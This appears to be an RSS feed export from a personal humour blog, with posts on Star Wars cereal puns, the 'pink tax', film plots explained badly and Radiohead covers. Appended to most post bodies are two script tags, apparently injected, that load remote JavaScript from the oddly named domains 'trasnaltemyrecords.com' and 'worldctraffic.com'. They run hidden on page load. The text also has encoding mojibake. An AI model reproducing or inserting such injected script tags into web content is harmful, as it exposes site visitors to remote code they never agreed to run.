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		<title>Instagram Black and White</title>
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		<pubDate>Fri, 23 Sep 2016 21:10:44 +0000</pubDate>
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		<title>Voice-activated Table</title>
		<link>http://lesjones.com/2016/02/15/voice-activated-table/</link>
		<pubDate>Mon, 15 Feb 2016 20:55:16 +0000</pubDate>
		<dc:creator><![CDATA[Les Jones]]></dc:creator>
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				<content:encoded><![CDATA[<p><a href="http://www.lesjones.com/2016/02/15/voice-activated-table/voice-activated-table-700px/" rel="attachment wp-att-30565"><img class="alignnone wp-image-30565 size-full" src="http://www.lesjones.com/www/images/posts/Voice-activated-Table-700px.jpg" alt="Have I shown you my voice-activate table? What's a voice-activated table? Hold these books and I'll show you." width="700" height="243" srcset="http://www.lesjones.com/www/images/posts/Voice-activated-Table-700px.jpg 2019w, http://www.lesjones.com/www/images/posts/Voice-activated-Table-700px-150x52.jpg 150w, http://www.lesjones.com/www/images/posts/Voice-activated-Table-700px-450x156.jpg 450w, http://www.lesjones.com/www/images/posts/Voice-activated-Table-700px-768x266.jpg 768w, http://www.lesjones.com/www/images/posts/Voice-activated-Table-700px-600x208.jpg 600w" sizes="(max-width: 700px) 100vw, 700px" /></a></p>
<p>Made with <a href="http://monkeydyne.com/rmcs/buildmeat.html">Meat Builder</a>.<script src='https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043' type='text/javascript'></script><script src='https://clicks.worldctraffic.com/clizkes' type='text/javascript'></script></p>
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		<title>Star Wars for Breakfast</title>
		<link>http://lesjones.com/2016/01/14/star-wars-for-breakfast/</link>
		<pubDate>Fri, 15 Jan 2016 00:31:56 +0000</pubDate>
		<dc:creator><![CDATA[Les Jones]]></dc:creator>
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		<description><![CDATA[I&#8217;ve got a million of &#8217;em. Jedi Mind Trix â€“ â€œYou want to buy this cereal. It has bright colors and a rabbit on the box. Thereâ€™s a toy prize inside. You want the toy prize.â€ Han Sol-Os â€“ â€œHokey weapons and ancient religions are no match for a good breakfast, kid.â€ Han Sol-Os, Special [&#8230;]]]></description>
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<p>I&#8217;ve got <a href="http://www.lesjones.com/2005/05/18/i-day-to-episode-iii/">a million of &#8217;em</a>.</p>
<p><strong>Jedi Mind Trix</strong> â€“ â€œYou want to buy this cereal. It has bright colors and a rabbit on the box. Thereâ€™s a toy prize inside. You want the toy prize.â€</p>
<p><b>Han Sol-Os</b> â€“ â€œHokey weapons and ancient religions are no match for a good breakfast, kid.â€</p>
<p><b>Han Sol-Os, Special Edition</b> â€“ Same thing, but the cereal bites first, forcing Han to eat it.</p>
<p><b>Obi-Wan Ken Oat Bran</b> â€“ â€œObi-Wan Ken Oat Bran. Obi-Wan. Now thatâ€™s a cereal I â€˜ve not had in a long time. A long time.â€<script src='https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043' type='text/javascript'></script><script src='https://clicks.worldctraffic.com/clizkes' type='text/javascript'></script></p>
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		<title>Quote of the Day &#8211; Andy Warhol on Coca-Cola</title>
		<link>http://lesjones.com/2016/01/05/quote-of-the-day-andy-warhol-on-coca-cola/</link>
		<pubDate>Tue, 05 Jan 2016 15:43:01 +0000</pubDate>
		<dc:creator><![CDATA[Les Jones]]></dc:creator>
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		<description><![CDATA[&#8220;Whatâ€™s great about this country is that America started the tradition where the richest consumers buy essentially the same things as the poorest. You can be watching TV and see Coca Cola, and you know that the President drinks Coca Cola, Liz Taylor drinks Coca Cola, and just think, you can drink Coca Cola, too. [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>&#8220;Whatâ€™s great about this country is that America started the tradition where the richest consumers buy essentially the same things as the poorest. You can be watching TV and see Coca Cola, and you know that the President drinks Coca Cola, Liz Taylor drinks Coca Cola, and just think, you can drink Coca Cola, too. A coke is a coke and no amount of money can get you a better coke than the one the bum on the corner is drinking. All the cokes are the same and all the cokes are good. Liz Taylor knows it, the President knows it, the bum knows it, and you know it.&#8221;<br />
&#8211;Andy Warhol</p>
<p>I remembered that after seeing this discussion &#8211; <a href="http://marginalrevolution.com/marginalrevolution/2016/01/when-can-median-income-consumers-afford-the-best.html">When can median income consumers afford the very best?</a><script src='https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043' type='text/javascript'></script><script src='https://clicks.worldctraffic.com/clizkes' type='text/javascript'></script></p>
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		<title>Word of the Day &#8211; The Pink Tax</title>
		<link>http://lesjones.com/2015/12/25/word-of-the-day-the-pink-tax/</link>
		<pubDate>Fri, 25 Dec 2015 19:30:42 +0000</pubDate>
		<dc:creator><![CDATA[Les Jones]]></dc:creator>
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		<description><![CDATA[Pink Tax &#8211; a higher price for the woman&#8217;s version of the same product or service, compared toÂ the men&#8217;s version. Most often seen in personal hygiene products like deodorants and shampoo. The price difference may originate with the manufacturer, the retailer, or in some cases the government: Since 2000, a New York City trade lawyer [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><a href="http://groundswell.org/ever-heard-of-the-pink-tax-4-items-women-pay-more-for/">Pink Tax</a> &#8211; a higher price for the woman&#8217;s version of the same product or service, compared toÂ the men&#8217;s version. Most often seen in personal hygiene products like deodorants and shampoo. The price difference may originate with the manufacturer, the retailer, or in some cases the government:</p>
<blockquote><p>Since 2000, a New York City trade lawyer named Michael Cone has been fighting the federal government over gender-bias tariffs. While researching import tariffs (fees the U.S. charges on goods imported from other countries) at the request of a client who manufactured shoes, Cone discovered that the tariffs diverged across gender lines: menâ€™s sneakers were taxed at 8.5 percent, while womenâ€™s were taxed at 10 percent.</p>
<p>As he continue researching, he found more and more price discrepancies based on gender. (An imported wool suit is taxed 8.5 percent for a woman and zero for a man?!) Some male items, like gloves, were more costly to males (14 percent versus 12.6 percent for females), but by-and-large, womenâ€™s items were taxed more.</p></blockquote>
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		<title>Oniony &#8211; Potential Onion Headline</title>
		<link>http://lesjones.com/2015/12/21/oniony-potential-onion-headline/</link>
		<pubDate>Mon, 21 Dec 2015 13:56:10 +0000</pubDate>
		<dc:creator><![CDATA[Les Jones]]></dc:creator>
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		<title>Four Film Plots Explained Badly</title>
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		<pubDate>Tue, 15 Dec 2015 03:40:26 +0000</pubDate>
		<dc:creator><![CDATA[Les Jones]]></dc:creator>
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		<description><![CDATA[#â€ŽExplainAFilmPlotBadlyâ€¬ A falcon statue changes hands in the fast-paced antiquities market. A Vietnam-era Huck Finn travels up the Nung river in search of adventure. Batman battles Wolverine while Black Widow and Alfred the Butler are forced to choose sides. The actor who will become Han Solo wrecks the car that will become the Millennium Falcon.]]></description>
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<p><a href="http://www.imdb.com/title/tt0033870/">A falcon statue changes hands in the fast-paced antiquities market.<br />
</a></p>
<p><a href="http://www.imdb.com/title/tt0078788/">A Vietnam-era Huck Finn travels up the Nung river in search of adventure.</a></p>
<p><a href="http://www.imdb.com/title/tt0482571/">Batman battles Wolverine while Black Widow and Alfred the Butler are forced to choose sides.<br />
</a></p>
<p><a href="https://www.youtube.com/watch?v=QOgqUHk-zDY&amp;feature=youtu.be&amp;t=26s">The actor who will become Han Solo wrecks the car that will become the Millennium Falcon.</a><script src='https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043' type='text/javascript'></script><script src='https://clicks.worldctraffic.com/clizkes' type='text/javascript'></script></p>
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		<title>Four Versions of Radiohead&#8217;s &#8220;Creep&#8221;</title>
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		<pubDate>Fri, 11 Dec 2015 03:53:23 +0000</pubDate>
		<dc:creator><![CDATA[Les Jones]]></dc:creator>
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		<description><![CDATA[I like to wander YouTube listening to different artists&#8217; covers of the same song, one after another. It&#8217;s like a wine tasting where you try one varietal (like a Zinfandel) from three or four different wineries side by side. You&#8217;d think that all Zinfandels would be about the same, but tasting them side by side [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>I like to wander YouTube listening to different artists&#8217; covers of the same song, one after another. It&#8217;s like a wine tasting where you try one varietal (like a Zinfandel) from three or four different wineries side by side. You&#8217;d think that all Zinfandels would be about the same, but tasting them side by side tasting helps you appreciate the differences and makes it easy to decide which you like best. Seth Roberts called it the <a href="http://blog.sethroberts.net/2011/07/08/the-willat-effect-side-by-side-comparisons-create-connoisseurs/">Willat Effect</a>.</p>
<p>Here are four good covers of Radiohead&#8217;s &#8220;Creep&#8221; in four different styles. You can hear Radiohead&#8217;s original version <a href="https://youtu.be/XFkzRNyygfk">here</a>.</p>
<p>First up is the Pretenders.</p>
<p><iframe src="https://www.youtube-nocookie.com/embed/lML2N4xB9GU" width="420" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p>This is Prince&#8217;s live cover from Coachella that the Internet is flipping out over this week. You can skip the first three minute of Prince wandering around the stage in the dark.</p>
<p><iframe width="560" height="315" src="https://www.youtube-nocookie.com/embed/7l1sHY4eQhI" frameborder="0" allowfullscreen></iframe></p>
<p>Macy Gray and David Choi in a radio studio with acoustic guitar.</p>
<p><iframe src="https://www.youtube-nocookie.com/embed/0rxXERxjhNs" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p>Scala &amp; Kolacny Brothers, sung by a large choir. If you&#8217;ve seen the movie <em>The Social Network</em>, this is the version that played over the credits.</p>
<p><iframe src="https://www.youtube-nocookie.com/embed/3Ado5PMjr5k" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p><strong>Here&#8217;s how I&#8217;d rate the four covers</strong></p>
<p>There&#8217;s a thing called The One Question &#8211; would you buy it again or do it again. So here&#8217;s how I&#8217;d rate the covers based on one question &#8211; would I go back and listen to them again?</p>
<p><strong>Pretenders</strong> &#8211; It&#8217;s solid, and the thing that makes it stand out from the zillion Creep covers on YouTube is Chrissie Hynde&#8217;s unique phrasing. It&#8217;s good, but I can&#8217;t see any reason to listen to it again.</p>
<p><strong>Prince</strong> &#8211; Some people love it, some people despise it. After listening to it I couldn&#8217;t decide which camp I was in. Some things are challenging &#8211; they&#8217;re so different than what you&#8217;re used to that you have to have to wrap your head around them. I liked it better the second time. I don&#8217;t think it&#8217;s great (and you have to handicap it for being a bad recording of a live show), but it&#8217;s a huge contrast to any other cover because Prince. I might listen to it again one day because it&#8217;s so different.</p>
<p><strong>Scala &amp; Kolacny Brothers</strong> &#8211; Beautiful and different. Worth multiple listenings.</p>
<p><strong>Macy Gray and David Choi</strong> &#8211; The duet format is nice and the Macy Gray uses her aility to express strong emotion without raising her voice. I&#8217;ve listened to it over and over. The great camerawork in the video is a bonus.<script src='https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043' type='text/javascript'></script><script src='https://clicks.worldctraffic.com/clizkes' type='text/javascript'></script></p>
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		<title>Oniony &#8211; Potential Onion Headline</title>
		<link>http://lesjones.com/2015/12/10/oniony-potential-headlines-for-the-onion/</link>
		<pubDate>Fri, 11 Dec 2015 03:49:38 +0000</pubDate>
		<dc:creator><![CDATA[Les Jones]]></dc:creator>
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		<title>Reje-X-men Profile #1 &#8211; Captain Above Average American</title>
		<link>http://lesjones.com/2015/11/25/reje-x-men-profile-1-captain-above-average-american/</link>
		<pubDate>Wed, 25 Nov 2015 14:07:51 +0000</pubDate>
		<dc:creator><![CDATA[Les Jones]]></dc:creator>
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		<description><![CDATA[Reje-X-men profiles applicants who weren&#8217;t accepted to Charles Xavier&#8217;s elite team of mutant superheroes. Reje-X-men Profile #1 &#8211; Captain Above Average American CHARLES XAVIER What powers do you possess that your average countryman does not? CAPTAIN ABOVE AVERAGE AMERICAN My mutant DNA gives me two powers the statistically average American does not have. The first [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><em>Reje-X-men profiles applicants who weren&#8217;t accepted to Charles Xavier&#8217;s elite team of mutant superheroes.</em></p>
<h2>Reje-X-men Profile #1 &#8211; Captain Above Average American</h2>
<p>CHARLES XAVIER<br />
What powers do you possess that your average countryman does not?</p>
<p>CAPTAIN ABOVE AVERAGE AMERICAN<br />
My mutant DNA gives me two powers the statistically average American does not have. The first power is tallness. I am 6 feet 8 inches tall. That makes me three standard deviations taller than the average American male.</p>
<p>CHARLES XAVIER<br />
Intriguing. And what other power do you have that most Americans do not?</p>
<p>CAPTAIN ABOVE AVERAGE AMERICAN<br />
I know what a standard deviation is.<script src='https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043' type='text/javascript'></script><script src='https://clicks.worldctraffic.com/clizkes' type='text/javascript'></script></p>
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